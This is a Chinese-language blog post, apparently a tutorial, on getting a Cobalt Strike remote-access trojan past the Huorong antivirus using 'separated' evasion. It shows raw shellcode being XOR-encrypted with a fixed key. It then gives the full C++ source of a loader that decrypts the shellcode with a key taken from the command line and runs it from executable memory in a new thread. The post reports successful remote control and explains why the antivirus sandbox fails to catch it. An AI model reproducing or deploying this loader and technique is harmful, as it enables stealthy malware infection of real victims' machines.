前言

上次演示如何绕过360执行shellcode,然而那个方式对火绒却不起任何作用。所以本次以绕过火绒为目的,上线远程木马
火绒有一个特点,在文件落地时会模拟执行一次文件。像是一个本地沙箱,如果命中规则或检测到特征即判定为木马

准备工作

搭建一个Cobalt Strike,如何搭建或了解CS。网上大把教程
以RAW形式生成一个CS的shellcode

将生成的.bin文件复制出来,可以发现这时候火绒落地秒杀

(暂时关掉火绒,把.bin文件拖到我们另一台虚拟机上准备做处理)

处理shellcode

这里依然使用010Editor异或的方式将.bin文件逐一字节进行加密。记住这里的0x23,后面的loader执行程序的时候需要用到

加密后拖出虚拟机,文件落地瞬间火绒没有对我们的bin文件标记。说明已经不认识了

ShellLoaer代码实现

这里我们要实现一个接收参数的解密程序。接收的参数为我们的shellcode解密字节

size_t GetSize(char* szFilePath)		//获取文件大小
{
	size_t size;
	FILE* f = fopen(szFilePath, "rb");
	fseek(f, 0, SEEK_END);
	size = ftell(f);
	rewind(f);
	fclose(f);
	return size;
}
unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)			//读取文件
{
	unsigned char* p = NULL;
	FILE* f = NULL;
	size_t res = 0;
	*size = GetSize(szFilePath);
	if (*size == 0) return NULL;
	f = fopen(szFilePath, "rb");
	if (f == NULL)
	{
		return 0;
	}
	p = new unsigned char[*size];
	rewind(f);
	res = fread(p, sizeof(unsigned char), *size, f);
	fclose(f);
	if (res == 0)
	{
		delete[] p;
		return NULL;
	}
	return p;
}
bool Is_File_Exist(const std::string& file_path)				//判断指定文件是否存在
{
	std::ifstream file(file_path.c_str());
	return file.good();
}
int main(int argc, char* argv[])
{

	if (argc != 2) {			
		return 0;
	}
	unsigned char* BinData = NULL;
	size_t size = 0;

	char szFilePath[] = "123.bin";    //文件名字

	// 从命令行参数获取异或
	unsigned char xorKey;
	if (sscanf(argv[1], "%hhX", &xorKey) != 1) {
		printf("Invalid xor_key format.\n");
		return 1;
	}

	BinData = ReadBinaryFile(szFilePath, &size);		//读取指定文件
	LPSTR buf = (LPSTR)malloc(size);				//文件存放内存(未解密前)
	LPSTR slcbuf = (LPSTR)malloc(size);				//文件存放内存(解密后)

	buf = (LPSTR)BinData;
	LPVOID shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	//printf(" ptr :%p", shellcode_addr); //getchar();
	for (size_t i = 0; i < size; i++)
	{
		slcbuf[i] = buf[i] ^ xorKey;			//逐一字节异或解密

	}
	memcpy(shellcode_addr, slcbuf, size);

	HANDLE hThread;
	DWORD dwThreadId;
	hThread = CreateThread(NULL, NULL,
		(LPTHREAD_START_ROUTINE)shellcode_addr, NULL, NULL, &dwThreadId);				//创建线程,线程回调指向shellcode
	WaitForSingleObject(hThread, INFINITE);
}

loader测试

既然程序都写完了。测试才是硬道理
将Loader和shellcode放在同目录下

  • 先用火绒右键扫描一次,无警告
  • Loader测试,调用cmd窗口。输入shellloader.exe 23(23作为解密参数)

    回车,执行上线!火绒全盘快速扫描也没有检测到。CS所有功能正常


    文件浏览,下载上传,屏幕截图,执行命令等都没问题

完事

这种方式称为分离免杀,即loader + shellcode两个文件
我们的木马可以是一张图片,一个文档,或任意文件。
loader只做两件事读取文件到内存,解密执行代码
由于我们的loader里面没有任何异常的行为,并不会被检测查杀。所以只需要将shellcode处理好。
在火绒模拟执行时,缺失执行参数所以木马并不会被执行。这就导致我们可以顺利执行shellcode

Posted on 2024-02-03 10:28  mykr3  阅读(73)  评论(0编辑  收藏  举报